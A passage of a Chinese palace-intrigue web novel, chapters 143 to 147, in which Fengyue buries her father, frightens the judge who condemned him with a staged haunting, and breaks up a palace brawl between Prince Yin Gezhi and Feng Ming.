秋夫人还想再说,冷不防对上旁边殷戈止不悦的眼神,吓得噤了声,没再啰嗦,麻利地上香念经。
几个大男人看见那骸骨都双目通红,恨得咬牙切齿,经念完了,齐齐地围着风月,压着声音道:“少主,我们想为将军报仇!”
“不是一直在报吗?”风月笑了笑:“至于我爹是**的,咱们去问问主审官就知道了。”
“可廷尉府……不算很好进去。”尹衍忠皱眉道:“安插在那里头的人也说,石有信此人防备心极重,不肯轻易见人。”
“这个好说。”秋夫人道:“王爷不还在这儿吗?若是王爷请他一叙,他想必不会推辞。”
众人纷纷将目光转向了殷戈止,风月想想也对,正想开口,就听得他淡淡地道:“不请。”
秋夫人一愣,立马反应过来,用手肘捅了捅风月,小声道:“您说句话。”
说啥?风月眯眼,她就看不得殷戈止这拽得厉害的样子,像是谁少了他不能成事一样!要不是念着那金丝楠木的棺材还没送来,她都想骂人了!
别开头,她笑道:“请廷尉大人出来又如何啊?他反正不会说真话,还是从别处下手,让他恶有恶报吧。”
殷戈止点头:“既然如此,那本王就先走了。”
说罢,潇洒起身,走得头也不回。
风月龇牙,看着他的背影消失在门口,愤然地道:“这脾性也不知道跟谁学的,真是别扭**,非得让人求他才肯帮忙,那我偏不求,憋死他!”
罗昊无奈地道:“少主,他不帮忙,一点损失也没有,怎么会被憋死啊?”
“这就
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是你不懂了。”伸手搭在他肩上,风月一脚踩在旁边的长凳上头,吊儿郎当地道:“殷戈止那种人啊,好面子,你让他面子上过不去,他就会憋着!”
点点头,罗昊觉得很有道理,顺便再问了一句:“那对咱们有什么好处啊?”
众人一片沉默。
风月收回了手,一脸正经地道:“先准备丧事吧,等棺材一到,咱们要堂堂正正地撒着纸钱举着白幡从城门出去,然后选个风水宝地,让老爷子安息。”
“好。”院子里的人应了,开始张罗起来。
封明本来第二天就想过来看风月的,然而,还没出门,就被自家老爹举着棍子拦在了房门口。
“你还要往哪儿跑?!”镇国侯板着脸道:“这一跑二跑的,都犯了圣怒了,还不老实点?”
无奈地往门框上一靠,封明道:“爹,您让我在家里呆着,陛下也不会看我顺眼的,还不如放我出去跑。”
“孽畜!”镇国侯怒道:“午时有左家的宴席,你必须跟我一起去!”
左家?一想起那个看见他就矫揉造作的左小姐,封明连连摇头:“不去!”
“不去也得去!”镇国侯咆哮:“你都多大年纪了?放在别家都该是两个孩子的爹了!外头那么多姑娘总往你怀里塞东西,你就不能老实点娶几个回来,生个孙子给你爹抱抱?!”
嫌弃地撇了撇嘴,封明道:“我看不上她们。”
“那你看得上谁?!”镇国侯怒道:“你说,爹去给你下聘!”
“当真?”微微挑眉,封明乐了,张口就道:“那我要娶关家女将军,关清越。”
镇国侯:“……”
手里的棍子没白拿呀,镇国侯爷拎着就将封明揍了个花儿开,往柴房一锁,让他好生冷静几天。
听见这样的消息,风月倒是乐了:“他是该娶亲了,先前不是忙么?现在有空了,可以考虑考虑。”
“少主。”秋夫人叹息道:“封将军先前哪里是忙啊,上战场之前,多少姑娘倒贴几倍的嫁妆,他就是不肯娶。有次不慎当着众人的面说了非原先的婚事不认,传到皇帝耳朵里,镇国侯还去御书房外跪了半个时辰。皇帝还有意赐婚他与南平公主,哪知他也不乐意,这才被皇帝飞快地收了兵权,给了看守宫门的职务。”
嘴巴张得老大,风月心里“咯噔”一声,像是绑了块石头,“刷”地就不知道沉去了哪儿。
所以……他先前说的那些,都是骗她的?
想起封明那张总是挂着满不在乎的表情的脸,风月皱眉,突然觉得很难受。
她何德何能啊,本就对他不是很好,怎么还受得住人这般厚待?
心情低落,风月蹲在墙角里,谁喊也不应,就默默地想着事情。金丝楠木的棺材送来的时候,众**吃一惊,可看她这样子,也就没人告诉她,这金丝楠木,是皇室专享的不朽棺木啊……
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第144章 吓唬人
风月不知道,可尹衍忠知道,金丝楠木稀有珍贵,除了皇帝,皇室受宠之人,才会得赐几块用以为棺。殷戈止把这棺木给了少主,那他百年之后……又当如何?
秋夫人也有些唏嘘,看一眼脸色颇差的风月,没打扰她。一群人恭敬地将关将军的尸骸放好,也将搜集来的陪葬一并封入棺材,然后等时辰到了,便出城下葬。
往脸上糊了络腮胡子,风月披麻戴孝,一路撒着纸钱出城。
纸钱纷纷扬扬,飘散四处。有一片儿不小心飞入了路过的官轿,落在了一个人苍老的手心。
石鸿唯低头,一看这东西就皱了皱眉:“停轿。”
“大人。”外头的护卫连忙拱手待命。轿夫压轿,石鸿唯缓缓走出来,看了一眼那漫天飞舞的纸钱,问了一句:“谁家出殡?这么大的阵仗。”
护卫看了看,道:“容属下去问问。”
说罢,带着刀便往那送葬队而去。
风月正哭得厉害,冷不防见人持刀拦路,当即就粗着嗓子道:“借过,生人面前,哪里见得刀子?”
那侍卫拱手问了一句:“敢问是何人府上送葬?”
众人都是一愣,风月侧头就看见街边挺着的官轿,扫一眼那轿子顶上的铜饰,脸色微变,连忙拱手道:“小的是惠州来的商贾,路过澧都,家父病逝,无奈只得在此送葬,还望大人莫怪。”
侍卫点头,就着这话回去禀了。石鸿唯微微颔首,也未在意,只将手里的纸钱焚了,朝送葬队的方向微微鞠躬,然后便上轿,让人继续走。
远远看着他那举止,风月便也颔首,招呼着旁边的人启程。
“那是石丞相吧?”史冲感叹:“真不愧是一代名相,可惜了辅佐的不是个好君王。”
“慎言。”风月低声道:“前头就是城门了。”
连忙闭嘴,史冲低头便扶着棺木车。
墓是好安,地方也选好了,可碑文却压根没法刻。若刻关苍海的名字,**未反,说不定就被人砸了挖了。但若刻别的名字,众人也不愿关将军受这委屈。
“先不刻了。”风月道:“等坏人都死完了,咱们再刻。”
秋夫人叹息:“这世上歹人何其多,哪里死得完呢?”
一阵风吹过来,墓前白纸飞扬,风月眉目坚定,捏着拳头一字一句地道:“歹人死不完,但害他的人,一个也别想活着!”
大风顿起,衣摆飞扬,她朝着那无字的墓碑狠狠地磕了几个头。
“少主。”回城的路上,尹衍忠道:“刚收到的消息,孝亲王约石有信明日书院一谈,石有信应了。”
风月一愣,皱眉道:“他不是说不帮吗?这又是做什么?”
秋夫人摇头:“嘴上说不帮,到底还是要帮,咱们这孝王爷啊,真是心口不一,跟他父皇一个样。不同的是,他父皇那是口蜜腹剑,他是刀子嘴豆腐心。”
风月沉默,走了一会儿,仰头道:“这么一算,我岂不是又欠他人情了?”
“哎,话不能这么说。”罗昊道:“他没答应帮少主的忙,自己做的,那就不算帮忙,少主不欠他的。”
好么,那算是天赐的机会,她好好抓住就成了?厚脸皮地想了想,风月觉得这么想很没有心理负担,于是就说服了自己,回去一阵捣鼓,安排接下来要做的事情。
第二天,殷戈止坐在书院的院子里,看着面前的石有信,伸手给他倒了杯茶。
“今日请大人出来,除了谈法度之事,还想问大人一件事。”
石有信是个三十岁的瘦子,个子不高,显得衣裳分外肥大。脸上眼睛很小,鼻子很大,瞧着就不会给人什么好印象。眼下听殷戈止一开口,更是一副惶恐之色:“王爷但问无妨。”
“关于关苍海。”收了茶壶,殷戈止抬眸:“他当初在天牢,是**的?”
脸色猛地一变,石有信垂眸,捏着茶盏道:“王爷怎么还在问这些事情?皇上知道了会不高兴的。”
“大人不是说,与本王是知己之交吗?”殷戈止平静地看着他:“既然是知己,私下说点话,父皇怎么会知道?”
微微一噎,石有信沉默许久。
殷戈止不紧不慢地转动着手里的茶杯,淡淡地道:“看来大人说的话,本王不能当真啊,既然如此,那大人先前说的改司法之事,本王觉得……”
“王爷!”见他有反悔的意思,石有信连忙道:“那件事不是下官不愿意说,是实在没什么说的啊!关苍海当年的确是畏罪自尽,一头撞死在墙上的,头破了好大个窟窿……真的,其余的下官不清楚啊。”
要是没看见关苍海的尸骨,殷戈止说不定就信了。然而现在,他笑了笑,问:“那他还被关在天牢里的时候,有什么人去看过吗?”
“没有没有。”转悠着眼珠子,石有信语气坚决地道:“因着是叛国重犯,天牢里是不允任何人探监的,当时下官还在天牢里住了两晚,就为了看牢他。后来不负圣望,犯人顺利被送去了斩首台。”
一想起那阴暗的牢房,石有信还有点害怕,想喝口茶压压惊,旁边骤然响起观止的声音:“王爷,封将军被镇国侯押进宫了。”
吓得身子猛地一抖,石有信眼珠子乱转,有些薄怒:“说话怎么也不通传一声的?”
观止莫名其妙,却还是行了礼,退了下去。
微微挑眉,殷戈止道:“大人胆子可真小。”
“王爷见笑。”石有信转头来笑道:“关于改法之事,还请王爷多给陛下美言几句,您的话很有分量。”
石有信要改的法,是**偿命之法,言辞凿凿说应该取消**,改为流放,更利于民心平稳。
他看不出来民心平稳与**不该**有什么关系,不过人家都这么说了,那他也就应下,至于美言不美言,那就是他的事情了。
从书院离开的时候,毫无意外地感受到了几股潜伏的气息,殷戈止恍若未闻,直接上车回王府。
石有信有点困倦,上了轿子就闭目养神,晃晃悠悠的不知道多久,轿子突然猛地一摔,落在了地上。
“怎么回事!”活生生被惊醒,石
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有信怒斥:“没吃饱饭啊?!”
“抱歉大人。”外头的轿夫连忙重新将轿子抬了起来,拐过两个个转角,继续往前走。
打了个呵欠,石有信继续睡觉,等一觉睡醒之后,发现轿子停了,旁边的随从却没喊他下去。
“怎么回事今天?”不耐烦地掀开轿帘,正想呵斥两句,却见前头不是自己的廷尉府大门,而是一片尸臭熏天的乱葬岗!
轿子四周一个人都没有,石有信胆子小,立马尖叫起来,哆哆嗦嗦地钻回轿子里去。
天色渐晚,狂风呼啸,轿帘被吹得起起落落。石有信打着寒颤,睁大眼往外头看,却见远处好像有影子慢慢地飘了过来。
慢慢地,越来越近,飘来的影子浑身是血!
“啊!!!”
惊恐地喊叫响彻整个树林。
第二天有樵夫上山砍柴,发现一顶华丽的轿子停在路边,好奇地上去掀开帘子,就见个穿着华服的官老爷,双眼下头一片青黑,面色憔悴地打着抖。一看见他,惊叫连连。
樵夫报了官,石有信这才被接回澧都去。
“嘿,真不禁吓,听闻是病了,几天都没能去上朝。”罗昊来风月院子里汇报情况,满脸不屑地道:“还以为那么心狠手辣的家伙,会是个胆子大的,谁曾想会吓成这样。”
“嗯。”磕着瓜子,风月不慌不忙地道:“让他养病几天吧。”
罗昊一愣,刚想说少主真是慈悲,谁曾想就听得她下一句道:“等病好了再找机会接着吓。”
“……”
殷戈止那头也收到了消息,悠闲地将书一合,道:“咱们去看看吧。”
廷尉府探病的人不多,殷戈止一进去,倒是瞧见了石丞相。
“王爷?”看见他,石鸿唯有点意外,上来拱手行礼,然后问:“王爷也来看望石廷尉?”
“是啊。”殷戈止颔首:“听闻是做噩梦吓病了,便想来问问他,是不是做过亏心事。”
这话说得平淡,石鸿唯却是反应了过来,慈祥地笑道:“殿下,有些事不必强求。陛下都不愿意殿下继续查的事情,殿下何苦挣扎?”
“为求心安。”从他身边走过去,殷戈止道:“本王也怕哪天像石大人这样,做了亏心事,夜不能寐,自个儿折腾自个儿。”
这句石大人喊得丞相皱了眉,看着他那俊逸的背影,摇摇头。
石有信病得不轻,恍惚间仿佛看见关苍海那满身是血的样子。
关苍海是他亲眼看着死的,七窍流血,怒目圆睁,死得极为不甘。从那之后他胆子就很小,还做了一段时间噩梦。三年了,噩梦早就没做过了,可不知道为什么,却遇上这么可怕的事情,惹得他又大病一场。
病好了就没事了吧?他想着想着,却听见殷戈止清冷的声音:“本王还以为民间传言当不得真,看见大人如此,倒是不得不信。”
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第145章 她是我的
一听见他的声音,石有信连忙翻滚下床,整理好衣衫,朝他行礼:“王爷!”
“大人还病着,就不必守这些规矩了。”虚扶他一把,殷戈止面色柔和,从观止手里拿过一个锦盒,递到他面前:“也不知备什么礼好,就给大人求了把开过光的桃木剑,还望大人能早日康复。”
石有信愣了愣神,下意识地看了殷戈止一眼,颤颤巍巍地道:“王……王爷,属下是做噩梦吓的,不是见鬼了……”
“啊,是这样啊。”轻轻拍了拍自己的额头,殷戈止满脸自责:“那就是本王搞错了,传言真是信不得,大人做噩梦生病,外头人偏说大人是在照影山的乱葬岗下头被关苍海的冤魂吓病的,看来也是无稽之谈。”
照影山乱葬岗?石有信愕然,**自己是在哪儿度过那可怕的一夜的,四个轿夫不知所踪,问城门附近的护城军,竟然都说没见过他的轿子出城。
没见过,那他的轿子是怎么出去的?飞出去的不成?
内心恐惧更甚,石有信苦着脸问:“王爷,外头还有什么传言?”
“也没什么要紧的。”殷戈止道:“最近关家**重提,民情沸腾。大人作为当年的主审,自然会受人非议。不过本王相信大人,绝不是陷害忠良之辈,所以那些什么冤魂索命的传言,肯定都是假的。”
眸子一垂,石有信闷声道:“是啊,微臣向来秉公办案,怎么可能陷害忠良?”
“那这桃木剑就不用了。”殷戈止微笑,将盒子递给观止:“拿出去折了。”
“是。”观止刚要接过,却听得石有信道:“王爷!好歹是王爷的一片心意,微臣怎么也得领了,就留下吧。”
折桃木易招鬼啊!
“大人问心无愧,留下这东西反而坏风水。”殷戈止道:“就在门口折,也可震慑妖魔。”
说罢一挥手,观止拿着盒子就站在了门口,取出桃木剑,手握两头,往抬起的膝盖上狠狠一放!
“咔!”剑断两边,声音清脆,惊得石有信脸都白了。
“王……王爷。”
“本王在。”殷戈止和善地看着他:“大人还有想做的,本王可以替大人去做。”
神色复杂地看他一眼,突然想起方才石丞相说的话,石有信闭了嘴,摇头道:“时候不早了,王爷要是没别的事情,不如早些回去吧,微臣想睡一觉。”
“好。”殷戈止颔首,优雅地起身,带着观止就出了门。
“大人!”一直站在屋子里没吭声的奴仆上去扶着石有信,低声道:“这孝亲王摆明是想查关家之案,要从大人身上下手!丞相说得对,大人要扛住才是,这世上哪有那么多鬼怪?都是您自己太过畏惧的缘故。”
打着哆嗦,石有信咬牙道:“你们说得轻巧,敢情不是你们被那关苍海临死前盯着不放!我知道孝亲王想查,我也没那么傻露出破绽,可我害怕啊……”
“大人冷静,院子里已经加强了戒备,别说鬼了,苍蝇都进不来!您安心吧!”
的确是加强了戒备,殷戈止走出去的时候就发现了,这廷尉府的构造复杂,四处站着人,风月要是想继续吓他,那可有点困难。毕竟没人能在这么多护卫里穿梭自如,来去无踪。
除了他。
瞧着自家主子这神色,观止叹息,低声道:“您不是说,再也不帮风月姑娘了吗?”
微微一顿,殷戈止皱眉:“我帮她了吗?”
观止一脸严肃地点头,帮了啊,不仅帮,还是不遗余力地帮,跟他嘴上说的完全不一样!
沉默地看着四周的护卫,殷戈止淡淡地道:“我只是做我想做的事情,跟她没有关系。”
不把他放在眼里的人,他还上赶着把人家当宝贝不成?哼,才不会呢!
“那风月姑娘要是有危险了,您也不打算帮?”观止挑眉。
“不帮。”殷戈止道:“她有封明在身边,能有什么危险?”
说起封明,观止挠了挠头,低声道:“封将军最近都没能离开皇宫。”
嗯?殷戈止挑眉:“他在宫里做什么?”
“皇上有旨,让封将军陪公主殿下赏花。”观止神色古怪地道:“看起来,是有点想赐婚的意思。”
什么?殷戈止沉了脸,二话不说就往皇宫的方向走。
封明已经拒绝过南平一次了,父皇是怎么个想不开,才又想赐婚?封明为人固执,认准了谁就是不肯撒手的,他既然与关清越已经……那就断然不能耽误南平!
进了皇宫,没跟皇帝请安,殷戈止径直奔向南平的招舞宫,刚踏进宫门,就看见封明和南平相对而坐,正在下棋。
瞧着这还不错的气氛,殷戈止突然觉得很生气,说不出来是气什么,上前几步就将封明扯了起来,目光阴冷地盯着他。
正在思考这五子连珠下一步该怎么下呢,冷不防就被人抓起来了,封明一脸茫然地看着他:“王爷?您又想打架?”
“皇兄!”南平站了起来,满脸讶然:“你这是做什么?”
“借人一用。”手一紧,殷戈止扯着人就往外走。
封明踉跄两步,来了点火气,一出招舞宫的宫门就将殷戈止甩开,不悦地道:“王爷还总说我不守规矩,那您这算什么?”
深吸一口气,殷戈止道:“你不是喜欢风月吗?现在又为什么跟南平在一起?”
不说还好,一说封明就快被气**,站近一步平视他,咬牙切齿地道:“你以为我愿意啊?皇帝下的旨,我能抗旨不成?”
眯了眯眼,殷戈止抱着胳膊冷笑:“那皇帝下旨让你娶南平呢?”
“……”烦躁地甩了甩头,封明气恼地踹了一脚宫墙:“我能怎么办?抗旨过一次,我家差点遭殃。抗旨第二次,我全家上下还有活路?!”
也就是,他得娶南平。
心口无名火顿起,殷戈止冷声问:“那风月呢?”
风月?封明转身,瞪他一眼:“你问我?”
“不问你问谁?”拳头捏得死紧,殷戈止眼里慢慢布了血丝,狠戾之气四溢:“你与她,不是私定了终身么?”
啥?封明一脸懵逼:
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“我与她有婚约不假,什么时候私定过终身?”
一拳头都要打到他脸上去了,被这句话生生止住,殷戈止错愕,脑子很缓慢地想了想那日风月护着封明的样子。
她说,不是他。
当真不是他?!
那又是谁?!
皱眉看了眼前的人好一会儿,封明一把挥开他的手,嗤笑道:“王爷以前看来是没注意过她,她的性子,我靠近她三步之内,都能打个天昏地暗,更别说什么私定终身了。不过……”
喉咙微紧,封明垂眸,声音有些干涩地道:“你与她,是不是……发生过些什么?”
他不傻,看他们上次争吵的样子,能感觉到些什么,只是一直不愿意问。
殷大皇子聪明的脑子在这件事上半晌没转过弯,表情很是迷茫。不过一听这问题,他想也不想就点头:“她是我的。”
能用这四个字灭掉封明,那就是一场不错的胜仗了。
然而,对面这人眼里有痛色却没有像他那般的疯狂,想了一会儿,反而笑了:“她是你的人,还说不喜欢你了,看来王爷功夫不怎么样。”
“……”
午后的招舞宫一片祥和、宁静,四处花香满溢,一阵风吹来……外头传来一声巨响!
正在好奇皇兄找封明做什么的南平被这“咚”地一声响吓得跳了起来,提着粉嫩嫩的宫裙就跑了出来:“皇兄?”
宫墙被人打破了个窟窿,墙灰铺天盖地的,南平咳嗽两声,抬眼一看,下巴差点掉下来了。
封明着一身深色绣银麒麟的长袍,正与胸前三爪金龙耀武扬威的殷戈止打成一团!四周狂风呼啸,飞沙走石,她素来冷静的皇兄,不知道是受了什么刺激,那动作狠得,幸好对面是封明,换做别人,不知道死多少回了!
“皇兄!封将军!你们有话好好说啊!”
事关男人尊严问题,还能好好说吗?不能!
殷戈止冷笑:“等我把他腿打断再说!”
封明一边躲一边还击,不怕死地继续嘲讽:“有人恼羞成怒喽!”
一闷拳打在腹部,封明不笑了,侧头呸了口血,认认真真跟他打起来。
“这怎么办啊?”南平慌了,连忙问旁边的观止:“谁能劝劝啊?”
观止抹了把脸:“能劝的人,不在宫里。”
“谁?你说,本宫派人去接!”
“也不宜进宫啊……”
“哎呀你说这都快出人命了,你怎么还磨磨唧唧的?!”南平怒了,狠狠一脚踩在观止的脚背上,叉着腰道:“你亲自去接!”
脚趾头感觉要被踩断了,观止哭笑不得,看形势的确不太好,便转身,一蹦一跳地往外走。
不过这一场架打得是真狠,封明脸上挂彩,殷戈止身上也带伤,依旧没停下来,禁军来了,也无人敢上前劝阻,只能围成个圈儿看热闹。
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第146章 百晓生的消息
风月正愁着怎么潜入廷尉府呢,冷不防就被观止扯出门塞上了马车。
“哎哎哎?”手扒拉着车辕,风月瞪眼:“这是要去哪儿啊?我胡子还没贴呢!”
“来不及了!”观止坐上车辕,甩着缰绳道:“宫里主子和封将军打起来了,打得甚为激烈,您再去晚点,说不定就出人命了!”
又打起来了?风月皱眉,从袖子里扯出常备的面巾将半边脸都裹了,然后道:“以前是我跟封明打个不停,现在我不打了,他俩怎么打起劲来了?”
这也得问您啊!观止闭眼,他家主子真不是个喜欢打架的人,以前甚至还说,在战场之外打架斗殴的都是莽夫。
然而现在,殷莽夫和封莽夫见面就掐,掐得令人叹为观止。
“观止大人!”干将不知从哪儿冒出来,跟着马车狂奔,一边跑一边道:“新一月的消息,您顺路带去给主子吧。”
顺手拿过他递的信,观止也没在意,毕竟每个月来的信都是音信全无,主子不抱希望了,他也不抱什么希望了,只对干将这跑得飞快的双腿投去了赞叹的目光。
“这是啥?”风月好奇地问了一句。
“主子找人的消息。”观止觉得风月已经不算是外人了,干脆直言:“以前东宫有个管事的人,叫言清,主子不知为何一直在找他,三年多了都没有结果,但每月,百晓生那边还是会送信来汇报情况。”
言清?
一听这名字,风月心里就“咯噔”一声。
言清曾任职东宫,在太子开东宫后门,随官宦家欲献身之女进出之时,很是炙手可热,因为名单是由他审核,各家闺秀也是由他核实身份之后,才可入东宫。
由于跟她交情不错,言清曾经抹了她的名字,省了核实的步骤,偷放她入过东宫。此事,天知地知她知他知,再无旁人知晓。
殷戈止找他做什么?该不会是跟她有关系吧?应该不会啊,毕竟她与他那半个月,虽说和谐吧,但殷戈止也没表现出多余的兴趣啊,就喜欢调侃她那青涩的反应,喜欢没事跟她说说话,从没说过想她留在东宫,亦或是喜欢她的话。
这样看来,她在他心里,也不过就是个陪得久些的伴,怎么可能还惦记着?
摇摇头,风月止住了胡思乱想,还是打算进宫看看情况再说。
一个时辰过去了,封明和殷戈止还是没停下来,不过殷戈止毕竟久经沙场,体力方面比封明还是强不少的,所以打到后头,封明的劣势就太明显了。
“皇兄!”南平都看不下去了:“你冷静一下啊,这都多久了,你们没打累,我们都看累了!”
一众围观的禁军看得正高兴呢,纷纷摇头:“不累!”
南平:“……”
殷戈止嗤笑,看着对面气喘吁吁的封明道:“下盘是稳了,招式陈旧,实战看来还不够啊,封将军。”
封明黑了脸,往旁边啐了一口,一甩袍子就又冲上来!
“公主!”
南平正着急呢,扭头就见观止已经把人带来了,双手将她给的令牌还了回来。
接过令牌,抬头看向他身后,南平还以为他会请来个绝世高手,没想到……竟然是个女人?
目瞪口呆地看着风月,南平都忘记要劝架的事儿了,好奇地问:“这位是?”
“民女拜见公主。”风月垂着眼睛跪下行礼,一本正经地道:“民女是民间有名的劝架师傅,专门劝架。”
对于这样的说辞,观止抹了把汗,心想你当公主没见过世面吗?什么谎都信?
南平沉默,目光里满是严肃,盯着风月瞧了好一会儿,然后松开眉头道:“怪不得他们总说高手在民间,本宫这回算是见识了,还有专门劝架的?那你快去劝劝吧!”
观止:“……”
这算不算欺瞒公主?
风月点头应了,上前深吸一口气,大喊了一声:“打雷啦——”
殷戈止身子一僵,封明也是一愣,两人纷纷回头,就看见了蒙着面的风月,正站在南平公主的旁边。
竟然敢来宫里?!两人震惊了,纷纷停手,背后冷汗直冒。
南平愕然地看着他们,小声道:“嘿,还真的不打了?”
观止干笑:“公主……其实这人……”
他想说,其实这人是大皇子和封将军的朋友,这么一来至少能少个罪名啊。谁知道不等他话说完,那头的封将军就冲了过来,瞪着风月问:“你怎么进宫了?”
殷戈止也大步过来,虽然没问,脸色也是很难看。
南平眨眨眼,道:“你们认识啊?这人说她是民间劝架师傅,观止请来让你们别打了的,不然你们不得打个整夜?”
于是,旁边累死累活还被踩了一脚的观止身上就落了两道炙热的视线。
哭笑不得,观止垮着脸跪下去,小声道:“属下……奉命办事而已……”
苍天呐,为什么他要这么里外不是人呐?南平公主在深宫里大门不出二门不迈的,也不认识风月姑娘啊,他们紧张个啥!再说了,马上送出去,不比瞪着他有用吗!
“我……也是在民间认识她的。”强行找补,封明摸着鼻尖道:“上次跟人打起来,也是她来劝的架。”
“这么厉害啊!”南平公主看风月的眼神立马多了点敬佩。
风月干笑,心想撒谎可真是件万劫不复的事儿啊,一个小谎得多少个大谎来圆?
“时候也不早了。”整理了衣袍,殷戈止面无表情地道:“既然不打了,那我就先带这民间的人出宫吧,她不该在这儿的。”
“不劳王爷费心,卑职带出去就可以了。”封明眯眼。
冷笑一声,殷戈止侧头看他,额前的一缕头发随风扬起,杀气又聚。
眼瞧着又要打起来,风月笑着举手:“民女自己可以离开的!”
南平挑眉,已经察觉到了不对劲。她是个聪明的小姑娘,一瞧男人的眼神儿,就知道有鬼。尤其是一向怕麻烦的皇兄,竟然主动要送个民女出宫?
不对劲,不对劲!
“都别争了。”眼珠子转了一圈儿,南平笑道:“本宫瞧这姑娘很有趣,想留她下来问问民间的趣
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事儿,今日,就不忙着出宫吧。”
殷戈止当即摇头:“不行。”
“为何?”
“……民间之人随意逗留宫中,父皇知道了会不高兴,还是送走为好。”
有道理,可是他越拦,南平就越好奇,笑眯眯地道:“没关系,父皇不会知道的。”
说完,又扭头拉着风月的手问:“敢问姑娘芳名?”
“民女风月。”
“啊,风月姑娘,咱们去宫殿里头坐坐吧,喝点茶。匆忙把你接来,也是有些失礼。”南平笑得坏坏的,拉着她就往招舞宫里走。
封明愕然,连忙用手肘捅了捅旁边的殷戈止,低声问:“这怎么办啊?万一……”
“你问我?”殷戈止咬牙:“要不是你说话气人,你我至于打起来?南平又至于让观止接她进宫?”
“还怪我?”封明皱眉:“要不是你计较什么私定终身不私定终身的,何至于此?”
“……”
“不过今日这一场架,打得也算痛快。”摸了摸自己的嘴角,封明痞笑一声:“至少能知道一件事。”
殷戈止斜眼看他。
下巴微扬,封明勾着嘴角,盯着前头风月的背影道:“我比你悦她更甚,你在乎的东西,我不在乎,无论什么时候,她想来我身边,我都会张开双臂接着她。”
微微一愣,殷戈止黑了脸,看着他追上前去,皱眉站在原地想了好一会儿。
他在意的是风月是否完璧?压根不是,他在意的是她曾经喜欢过谁,喜欢到可以私定终身!真找到那个人,他便想看看,他可比得上自己?
“主子。”观止在旁边,看他好像冷静了,便递了信封过来:“这个月的消息。”
回过神看着面前的信封,殷戈止才想起,百晓生好像已经几个月没来信了,他也快忘了要找言清的事情。
如今,还要找吗?他沉默,垂着眼眸接了信封,心想要是这回依旧是没有消息,那就不找了吧。
然而,世事往往就是这么难料,以前盼星星盼月亮都盼不来的消息,如今不想找了,却是终于来了。
“人在魏国澧都,新起梦回楼。”
瞳孔微缩,殷戈止抿唇,捏着信眼里神色复杂。
在澧都,就在澧都?新起梦回楼是什么意思?梦回楼不是在吴国吗?
心里池水皱乱,殷戈止茫然失措,低低地喊了一声:“观止?”
“属下在。”感觉到自家主子的情绪,观止连忙问:“有消息了?”
“有,可是……”抿了抿唇,他皱眉问:“我还要找吗?”
曾经心心念念三年不忘的人,如今好像影子突然淡了,他依旧爱她的傲骨,爱她身子的青涩,爱她与众不同的气质。但……找回来似乎有些多余了。
她那样的人,就算终于与他相聚,怕也是容不得他倾心别人,还想留她在身边吧?
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第147章 外头的世界
男人是很容易在心底留下人影的,第一个喜欢上的人也好,求而不得的人也好,都容易在他们心底占了位置,化成一片皎洁的月光。而后头遇见的鲜活的人,就像新鲜盛开的花,以芬芳以娇艳,惹他们怦然心动,欲占有、欲与之度过余生。
聪明如殷大皇子,也没有逃过这男人的宿命。手里的信纸捏着,跨进招舞宫的时候,都快捏碎了。
“皇兄,你站住门外做什么?”南平正与风月说着话,不经意侧头看见门口的人,好笑地道:“这是怎么了?失魂落魄的?”
殷戈止面无表情,看了风月一眼,终是将手里的信纸捏烂,胡乱塞进观止的手里。
“无妨。”
莫名其妙地看他两眼,南平继续拉着风月的手兴奋地问:“街上还有会吐火的人啊?”
“有啊。”难得遇见能聊天的同龄人,风月也开了话匣子,笑眯眯地道:“还会上刀山下油锅呢!行走江湖的,全靠这些本事讨饭吃。”
听得满眼羡慕,南平公主感叹道:“好想出宫去看看啊!”
“公主要是想出去,求了陛下的恩旨不就好了?”一听说可以出宫,封明立马就开口道:“皇上一向宠爱公主,定然会答应!”
“可是……”有些为难地揉着帕子,南平道:“父皇常说,外头坏人多,很危险。先前二皇兄出宫,就在外头**了,差点伤着。”
“你要当真想出去,就请旨说去孝亲王府,到时候皇兄带你上街去看。”殷戈止低声吐了这么一句。
眼眸一亮,南平立马乐了,蹦着起来就往殷戈止怀里一扑:“皇兄当真最宠南平了!”
轻柔地摸了摸她的头发,殷戈止淡淡地道:“不宠你还能宠谁?你也快到嫁人的年岁了,以后就换别人来宠罢。”
一说起这个话,南平有点娇羞,眨巴着眼看了看封明。
风月也顺着看过去,挑眉。
封明脸都青了,沉声道:“卑职也盼公主寻得如意郎君,心甘情愿地照顾公主后半辈子。”
这话说得,殷戈止皱眉,不悦地看了他一眼。南平一愣,也有点委屈。
她哪里不好了?为什么封明能陪她下棋,能陪她散步,就是不能娶她?
气氛一时有点尴尬,风月沉默着,突然伸出双手拍了一下,清脆地一声响!
众人纷纷看向她,就见她笑得灿烂十足地道:“既然公主想出宫,那趁着天色还早,要请旨也方便,就快些去吧。今日街上赶集,比平时要热闹不少呢!”
这耿直的活跃气氛的方式,让旁边几个人都愣了愣,然后封明就立马附和:“对,公主和王爷先去请旨吧。”
殷戈止抿唇,拉着南平就起身往外走,看了风月一眼道:“北宣门等着。”
风月颔首,跟封明起身站在原地,等他们都走了,才跟着宫人往北宣门而去。
“你怎么进宫了?”一路上,封明压着声音嘀咕道:“宫里多危险啊,万一有人认出你……”
“你以为我想啊?”翻了个白眼,风月没好气地道:“还不是你俩打得太惊天动地了,观止二话不说就将我拉上了马车,贴个胡子的时间都不给。”
挠挠头,封明耸肩:“不怪我,他最近脾气大,要是以前,怎么激他都不会怒的,现在活跟个充气牛皮囊似的,一戳就爆。”
“大将军。”风月摇头:“以我对您的了解,您说话哪是一戳啊?简直是拿刀在砍,就算石头也得被您砍裂了,何况个牛皮囊?”
封明一顿,眼里涌上感动:“你竟然这么了解我?”
风月:“……”
下嘴皮一翻往自己额头上吹了口气,她抹了把脸,忍不住道:“先前觉得殷戈止是当真很难搞定,心思深沉,爱算计人。可回国来遇见将军,我才发现,有的人不动脑子,也很难搞定。”
封明脸一黑:“你骂我蠢?”
“啊呀,竟然听懂了?”
“这我都听不懂,那就是傻的!”气得一扬手,封明作势要打她,风月反应贼快,一溜烟地就往前跑,抓着前头引路的公公挤眉弄眼地道:“快跑啊!大将军发疯啦!”
宫人莫名其妙被吓了个哆嗦,立马跟着她一起跑!后头的封明失笑,又正经了脸,很是生气地追上来,一边追一边喊:“别跑!”
要是还有武功她就不跑了,可现在没了,谁不跑谁脑子有泡啊!风月咧嘴,拽着那宫人的衣襟就拖着跑了好远,直到遇见路口巡逻的禁军。
“站住!何人胆敢在宫中放肆!”
被那长戟吓得脖子一缩,风月立马怂了,停下步子把那气喘吁吁的宫人从背后推上去。
“奴才……招舞宫的,奉南平公主和孝亲王之命,送人去北宣门。”宫人上气不接下气地说着,垮着脸看了身后一眼。
